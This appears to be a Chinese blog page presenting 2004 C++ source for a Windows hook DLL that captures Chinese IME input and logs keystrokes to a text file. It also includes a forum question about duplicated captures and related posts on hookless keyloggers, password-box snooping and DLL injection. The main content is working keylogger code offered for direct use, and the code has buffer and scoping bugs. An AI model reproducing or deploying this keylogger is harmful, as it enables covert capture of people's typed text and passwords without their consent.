关于HOOK截入中文输入

HOOK截获中文输入会出现响应多次的情况。 当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好"实在不解。。代码如下 case WM_IME_COMPOSITION: //MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK); //if (m_hEditWnd == pmsg->hwnd 阅读详情
//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK g_hHook = NULL;               //hook句柄
HINSTANCE g_hHinstance = NULL;        //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
       LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
       PMSG pmsg = (PMSG)lParam;
       if (nCode == HC_ACTION)
      {
               switch (pmsg->message)
               {
               case WM_IME_COMPOSITION:
                      {
                                   HIMC hIMC;
                                   HWND hWnd=pmsg->hwnd;
                                   DWORD dwSize;
                                   char ch;
                                   char lpstr[20];
                                   if(pmsg->lParam & GCS_RESULTSTR)
                                   {
                                   //先获取当前正在输入的窗口的输入法句柄
                                   hIMC = ImmGetContext(hWnd);
                                   if (!hIMC)
                                   {
                                               MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                                   }

                                   // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                                   dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                                   // 缓冲区大小要加上字符串的NULL结束符大小,
                                   //?? 考虑到UNICODE
                                   dwSize += sizeof(WCHAR);

                                   memset(lpstr, 0, 20);

                                   // 再调用一次.ImmGetCompositionString获取字符串
                                   ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                                   //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                                   MessageBox(NULL, lpstr, lpstr, MB_OK);
                                   ImmReleaseContext(hWnd, hIMC);
                            }
                     }
                     break;
              case WM_CHAR:??//截获发向焦点窗口的键盘消息
                     {
                            FILE* f1;
                            f1=fopen("c://report.txt","a+");
                            ch=(char)(pmsg->wParam);
                            fwrite(&ch,1,1,f1);
                            fclose(f1);????
                     }
                     break;
              }
       }

 
c++ hook 键盘与输入法记录到txt windows系统,自己程序中,如果想记录用户输入的内容,可以用hook。编译后dll放调用程序目录,然后 调用。vs2022新建一个dll工程。 阅读详情

相关推荐

VC++ 实战:无Hook中文键盘记录实现

键盘记录技术作为系统级编程的重要应用,广泛应用于输入监控、安全审计及用户行为分析等领域。在Windows操作系统中,键盘事件的生成涉及从硬件中断到用户界面消息的完整流程,涉及内核模式与用户模式的协同处理。理解这一机制是实现键盘监听的基础。本章将从Windows底层输入模型出发,介绍键盘事件的产生、消息队列的传递机制,以及常见的键盘记录实现方式,如Hook技术与用户态轮询方法。同时,为适应现代系统安全机制的发展,我们还将引出不依赖Hook的替代方案,为后续章节的具体实现打下坚实的理论基础。

weixin_33256096的博客 1182

hook 输入法 android,安卓输入法输入性能评测流程

在我们的安卓版按键率评测的自动化处理整体流程主要包括三步,模仿键入操作,实时读取输入法的反馈与数据存储,以及数据分析。整个自动化处理的流程模拟人的真实操作环境,并能通过读取输入法的实时反馈判断输入法的命中情况并存储处理日志,从而分析输入法的输入准确率等性能,并辅助定位问题,为后续输入法的改进提供建议。一.键入操作 第一步模仿键入操作。中文拼音输入法用户的主要输入包括拼音串与格式化符号。拼音输入法分...

weixin_29124423的博客 579

DLL注入、输入法与键盘HOOK

DLL注入、输入法与键盘HOOK.rar

关于HOOK截获中文输入

以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetCon

2019

DLL注入、输入法与键盘HOOK.zip

DLL注入、输入法与键盘HOOK.zip DLL注入、输入法与键盘HOOK.zip

VC++ 不使用hook实现键盘记录(含中文)

VC++ 不使用hook实现键盘记录,可以截获中文输入

HOOK截获中文输入的方法

标题:关于HOOK截获中文输入发信站:安全焦点(2004年12月10日13时58分49秒)以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITIO

brain 的专栏 2462

c++ hook 软件输入框

c++ hook 软件输入框,实时显示密码框输入的内容,前提是没有经过处理的,类似QQ密码输入框,肯定是不行的,因为TX做了特殊处理啦。要不盗取QQ是件多么容易的事。

HOOK截获中文输入会出现响应多次的情况

HOOK截获中文输入会出现响应多次的情况。  当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好" 实在不解。。代码如下      case WM_IME_COMPOSITION:       //MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK);       //if   (m_hEditWnd  

wangsuo5764的博客 616

AgentVerse实战:构建多智能体协作系统的关键技术与应用场景

本文深入探讨了AgentVerse框架在构建多智能体协作系统中的关键技术及应用场景。通过分析智能体通信协议、环境交互机制和任务分解算法,展示了如何利用大型语言模型(LLM)实现智能体间的专业化分工与动态协作。文章还提供了智能软件开发团队和智能客服系统等典型应用案例,以及部署优化实践,为开发者构建高效的多智能体系统提供实用指导。

weixin_29254029的博客 361

电流采样电路设计:差分放大与ADC采集详解

在电机控制、电源管理、电池监测等应用中,电流采样是一个关键环节。通常,我们使用小阻值的采样电阻将电流信号转换为电压信号,再通过运放放大后送入ADC进行采集。本文将详细分析一种基于差分放大器的电流采样电路,包括信号放大、参考电压偏置、滤波保护以及ADC转换计算等内容。

W0s477的博客 2万+

Inline hook ImmGetCompositionStringW获取中文输入

// dllmain.cpp : 定义 DLL 应用程序的入口点。 // 本程序通过hook ImmGetCompositionStringW获取中文输入记录 // #include "stdafx.h" #define OPCODESIZE 6 #define INFO_BUFFER_SIZE 32767 typedef BOOL(WINAPI *lpImmGetCompositionS

CoderAldrich的专栏 2807

Qt Creator设计器里也能拖拽?5步将你的QML自定义控件变成可视化插件(Qt6.5+)

本文详细介绍了如何在Qt Creator设计器中实现QML自定义控件的可视化拖拽功能(Qt6.5+)。通过5个步骤,从构建可插件化的QML控件基础到部署插件到设计器环境,帮助开发者将自定义控件转化为设计器插件,提升团队协作效率。特别适合需要频繁调整UI样式的开发场景。

weixin_29214559的博客 172

openframeworks使用hook方式得到输入法中文输入

of是glfw框架的,对windows里操作权限很少了, 最近想试试是否能通过hook方式得到输入法的中文,结果尝试是可以的, 但是因为字符转码涉及不深,反而更多时间用在了编码转换上 应该很容易实现,文章里说的是glut,glfw也是可以应用的, 不过后面我倒是卡在编码上很久,因为用的是codeblocks编辑器,所以gcc有些地方没有vs的方便

shenmifangke的专栏 1387

1. SAP Fiori Elements 开发环境的搭建和开发准备工作

本文介绍了本地使用 Visual Studio Code 进行 Fiori Elements 开发所需要安装的这个扩展包里6个能够提高 Fiori Elements 应用开发效率的扩展。在本教程后续步骤里我们会通过实际的例子介绍这些 Visual Studio Code 扩展的详细用法。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 3455

STM32入门教程:无人机控制

我们将会一步一步引导您完成无人机的控制代码,包括无人机的姿态控制、飞行控制和通信控制等。第三步:配置无人机姿态控制 无人机的姿态控制是指控制无人机在空中的倾斜和转向。为了实现姿态控制,我们需要使用加速度计和陀螺仪传感器来获取无人机的姿态信息,并使用PID控制算法来控制无人机的姿态。在这一步骤中,您需要根据您使用的具体传感器和控制算法的要求进行更详细的配置和编码。在通信控制中,您需要考虑到通信的稳定性和可靠性。第五步:通信控制 无人机的通信控制是指与地面站或其他设备进行通信,传输飞行数据和接收飞行指令。

m0_75244442的博客 748
上一篇: XTrap驱动分析
下一篇: VipShell驱动隐藏模块
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值